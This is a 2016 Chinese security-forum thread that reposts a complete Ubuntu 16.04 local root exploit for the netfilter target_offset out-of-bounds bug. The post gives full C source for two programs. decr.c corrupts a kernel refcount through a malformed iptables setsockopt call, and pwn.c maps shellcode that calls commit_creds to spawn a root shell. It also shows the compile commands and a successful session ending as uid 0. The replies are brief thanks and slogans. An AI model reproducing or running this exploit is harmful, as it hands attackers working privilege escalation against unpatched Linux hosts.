请选择 进入手机版 | 继续访问电脑版
查看: 7065|回复: 3700

[Linux/Mac] Ubuntu 16.04 local root exploit

[复制链接]
  • TA的每日心情
    奋斗
    3 天前
  • 签到天数: 551 天

    [LV.9]以坛为家II

    发表于 2016-7-4 10:57:47 | 显示全部楼层 |阅读模式
    Ubuntu 16.04 local root exploit - netfilter target_offset OOB Exploit

    [C] 纯文本查看 复制代码
    --------------------------------------------------- decr.c ---------------------------------------------------
    /**
     * Ubuntu 16.04 local root exploit - netfilter target_offset OOB
     * check_compat_entry_size_and_hooks/check_entry
     *
     * Tested on 4.4.0-21-generic. SMEP/SMAP bypass available in descr_v2.c
     *
     * Vitaly Nikolenko
     * [email]vnik@cyseclabs.com[/email]
     * 23/04/2016
     *
     *
     * ip_tables.ko needs to be loaded (e.g., iptables -L as root triggers
     * automatic loading).
     *
     * vnik@ubuntu:~$ uname -a
     * Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
     * vnik@ubuntu:~$ gcc decr.c -m32 -O2 -o decr
     * vnik@ubuntu:~$ gcc pwn.c -O2 -o pwn
     * vnik@ubuntu:~$ ./decr 
     * netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik
     * [!] Decrementing the refcount. This may take a while...
     * [!] Wait for the "Done" message (even if you'll get the prompt back).
     * vnik@ubuntu:~$ [+] Done! Now run ./pwn
     * 
     * vnik@ubuntu:~$ ./pwn
     * [+] Escalating privs...
     * root@ubuntu:~# id
     * uid=0(root) gid=0(root) groups=0(root)
     * root@ubuntu:~# 
     * 
     */
      
    #define _GNU_SOURCE
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <sched.h>
    #include <linux/sched.h>
    #include <errno.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/ptrace.h>
    #include <netinet/in.h>
    #include <net/if.h>
    #include <linux/netfilter_ipv4/ip_tables.h>
    #include <linux/netlink.h>
    #include <fcntl.h>
    #include <sys/mman.h>
      
    #define MALLOC_SIZE 66*1024
      
    int check_smaep() {
        FILE *proc_cpuinfo;
        char fbuf[512];
      
        proc_cpuinfo = fopen("/proc/cpuinfo", "r");
      
        if (proc_cpuinfo < 0) {
            perror("fopen");
            return -1;
        }
      
        memset(fbuf, 0, sizeof(fbuf));
          
        while(fgets(fbuf, 512, proc_cpuinfo) != NULL) {
            if (strlen(fbuf) == 0)
                continue;
              
            if (strstr(fbuf, "smap") || strstr(fbuf, "smep")) {
                fclose(proc_cpuinfo);
                return -1;
            }
        }
      
        fclose(proc_cpuinfo);
        return 0;
    }
      
    int check_mod() {
        FILE *proc_modules;
        char fbuf[256];
      
        proc_modules = fopen("/proc/modules", "r");
      
        if (proc_modules < 0) {
            perror("fopen");
            return -1;
        }
      
        memset(fbuf, 0, sizeof(fbuf));
          
        while(fgets(fbuf, 256, proc_modules) != NULL) {
            if (strlen(fbuf) == 0)
                continue;
              
            if (!strncmp("ip_tables", fbuf, 9)) {
                fclose(proc_modules);
                return 0;
            }
        }
      
        fclose(proc_modules);
        return -1;
    }
      
    int decr(void *p) {
        int sock, optlen;
        int ret;
        void *data;
        struct ipt_replace *repl;
        struct ipt_entry *entry;
        struct xt_entry_match *ematch;
        struct xt_standard_target *target;
        unsigned i;
      
        sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
      
        if (sock == -1) {
                perror("socket");
                return -1;
        }
      
        data = malloc(MALLOC_SIZE);
      
        if (data == NULL) {
            perror("malloc");
            return -1;
        }
      
        memset(data, 0, MALLOC_SIZE);
      
        repl = (struct ipt_replace *) data;
        repl->num_entries = 1;
        repl->num_counters = 1;
        repl->size = sizeof(*repl) + sizeof(*target) + 0xffff;
        repl->valid_hooks = 0;
      
        entry = (struct ipt_entry *) (data + sizeof(struct ipt_replace));
        entry->target_offset = 74; // overwrite target_offset
        entry->next_offset = sizeof(*entry) + sizeof(*ematch) + sizeof(*target);
      
        ematch = (struct xt_entry_match *) (data + sizeof(struct ipt_replace) + sizeof(*entry));
      
        strcpy(ematch->u.user.name, "icmp");
        void *kmatch = (void*)mmap((void *)0x10000, 0x1000, 7, 0x32, 0, 0);
        uint64_t *me = (uint64_t *)(kmatch + 0x58);
        *me = 0xffffffff821de10d; // magic number!
      
        uint32_t *match = (uint32_t *)((char *)&ematch->u.kernel.match + 4);
        *match = (uint32_t)kmatch;
          
        ematch->u.match_size = (short)0xffff;
      
        target = (struct xt_standard_target *)(data + sizeof(struct ipt_replace) + 0xffff + 0x8);
        uint32_t *t = (uint32_t *)target;
        *t = (uint32_t)kmatch;
      
        printf("[!] Decrementing the refcount. This may take a while...\n");
        printf("[!] Wait for the \"Done\" message (even if you'll get the prompt back).\n");
      
        for (i = 0; i < 0xffffff/2+1; i++) {
            ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, (void *) data, 66*1024);
        }
      
        close(sock);
        free(data);
        printf("[+] Done! Now run ./pwn\n");
      
        return 0;
    }
      
    int main(void) {
        void *stack;
        int ret;
      
        printf("netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik\n");
        if (check_mod()) {
            printf("[-] No ip_tables module found! Quitting...\n");
            return -1;
        }
      
        if (check_smaep()) {
            printf("[-] SMEP/SMAP support dectected! Quitting...\n");
            return -1;
        }
      
        ret = unshare(CLONE_NEWUSER);
      
        if (ret == -1) {
            perror("unshare");
            return -1;
        }
      
        stack = (void *) malloc(65536);
      
        if (stack == NULL) {
            perror("malloc");
            return -1;
        }
      
        clone(decr, stack + 65536, CLONE_NEWNET, NULL);
      
        sleep(1);
      
        return 0;
    }
      
    --------------------------------------------------- pwn.c ---------------------------------------------------
      
    /**
     * Run ./decr first!
     *
     * 23/04/2016
     * - vnik
     */
    #include <stdio.h>
    #include <string.h>
    #include <errno.h>
    #include <unistd.h>
    #include <stdint.h>
    #include <fcntl.h>
    #include <sys/mman.h>
    #include <assert.h>
      
    #define MMAP_ADDR 0xff814e3000
    #define MMAP_OFFSET 0xb0
      
    typedef int __attribute__((regparm(3))) (*commit_creds_fn)(uint64_t cred);
    typedef uint64_t __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(uint64_t cred);
      
    void __attribute__((regparm(3))) privesc() {
        commit_creds_fn commit_creds = (void *)0xffffffff810a21c0;
        prepare_kernel_cred_fn prepare_kernel_cred = (void *)0xffffffff810a25b0;
            commit_creds(prepare_kernel_cred((uint64_t)NULL));
    }
      
    int main() {
        void *payload = (void*)mmap((void *)MMAP_ADDR, 0x400000, 7, 0x32, 0, 0);
        assert(payload == (void *)MMAP_ADDR);
      
        void *shellcode = (void *)(MMAP_ADDR + MMAP_OFFSET);
      
        memset(shellcode, 0, 0x300000);
      
        void *ret = memcpy(shellcode, &privesc, 0x300);
        assert(ret == shellcode);
      
        printf("[+] Escalating privs...\n");
      
        int fd = open("/dev/ptmx", O_RDWR);
        close(fd);
      
        assert(!getuid());
      
        printf("[+] We've got root!");
      
            return execl("/bin/bash", "-sh", NULL);
    }
    回复

    使用道具 举报

    该用户从未签到

    发表于 2016-7-4 12:50:30 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-7-4 12:53:08 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-7-4 13:16:20 | 显示全部楼层
    我是来水经验的……
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-7-4 14:50:03 | 显示全部楼层
    谢谢楼主的分享
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-7-4 19:28:42 | 显示全部楼层
    非常感谢
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-7-4 19:38:15 | 显示全部楼层
    谢谢楼主的分享
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-7-4 19:47:19 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-7-4 20:59:15 | 显示全部楼层
    支持,看起来还是可以的
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-7-4 21:56:21 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表